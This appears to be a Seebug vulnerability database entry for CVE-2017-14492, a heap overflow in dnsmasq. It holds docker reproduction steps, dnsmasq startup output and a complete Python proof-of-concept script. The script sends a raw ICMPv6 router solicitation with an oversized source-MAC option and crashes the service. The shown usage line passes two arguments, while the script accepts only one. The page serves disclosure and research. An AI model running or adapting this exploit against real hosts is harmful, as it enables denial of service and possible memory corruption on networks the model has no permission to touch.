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seebugRootSSV:96619
HistoryOct 09, 2017 - 12:00 a.m.

Dnsmasq Heap based overflow(CVE-2017-14492)

2017-10-0900:00:00
Root
www.seebug.org
246

0.934 High

EPSS

Percentile

98.9%

1) Build the docker and open two terminals

docker build -t dnsmasq .
docker run --rm -t -i --name dnsmasq_test dnsmasq bash
docker cp poc.py dnsmasq_test:/poc.py
docker exec -it <container_id> bash

2) On one terminal start dnsmasq:

# /test/dnsmasq_noasn/src/dnsmasq --no-daemon --dhcp-range=fd00::2,fd00::ff --enable-ra
dnsmasq: started, version 2.78test2-8-ga3303e1 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify
dnsmasq-dhcp: DHCPv6, IP range fd00::2 -- fd00::ff, lease time 1h
dnsmasq-dhcp: router advertisement on fd00::
dnsmasq-dhcp: IPv6 router advertisement enabled
dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 8.8.8.8#53
dnsmasq: using nameserver 8.8.4.4#53
dnsmasq: read /etc/hosts - 7 addresses

3) On another terminal start the PoC:

# python /poc.py ::1 547
[+] sending 2050 bytes to ::1

4) Dnsmasq will output the following: Segmentation fault (core dumped)


                                                #!/usr/bin/env python
#
# Copyright 2017 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
#  Fermin J. Serna <[email protected]>
#  Felix Wilhelm <[email protected]>
#  Gabriel Campana <[email protected]>
#  Kevin Hamacher <[email protected]>
#  Gynvael Coldwind <[email protected]>
#  Ron Bowes - Xoogler :/

from struct import pack
import socket
import sys

ND_ROUTER_SOLICIT = 133
ICMP6_OPT_SOURCE_MAC = 1

def u8(x):
    return pack("B", x)

def send_packet(data, host):
    print("[+] sending {} bytes to {}".format(len(data), host))
    s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data))

    if s.sendto(data, (host, 0)) != len(data):
        print("[!] Could not send (full) payload")
    s.close()

if __name__ == '__main__':
    assert len(sys.argv) == 2, "Run via {} <IPv6>".format(sys.argv[0])
    host, = sys.argv[1:]
    pkg = b"".join([
        u8(ND_ROUTER_SOLICIT),    # type
        u8(0),                    # code
        b"X" * 2,                 # checksum
        b"\x00" * 4,              # reserved
        u8(ICMP6_OPT_SOURCE_MAC), # hey there, have our mac
        u8(255),                  # Have 255 MACs!
        b"A" * 255 * 8,
    ])

    send_packet(pkg, host)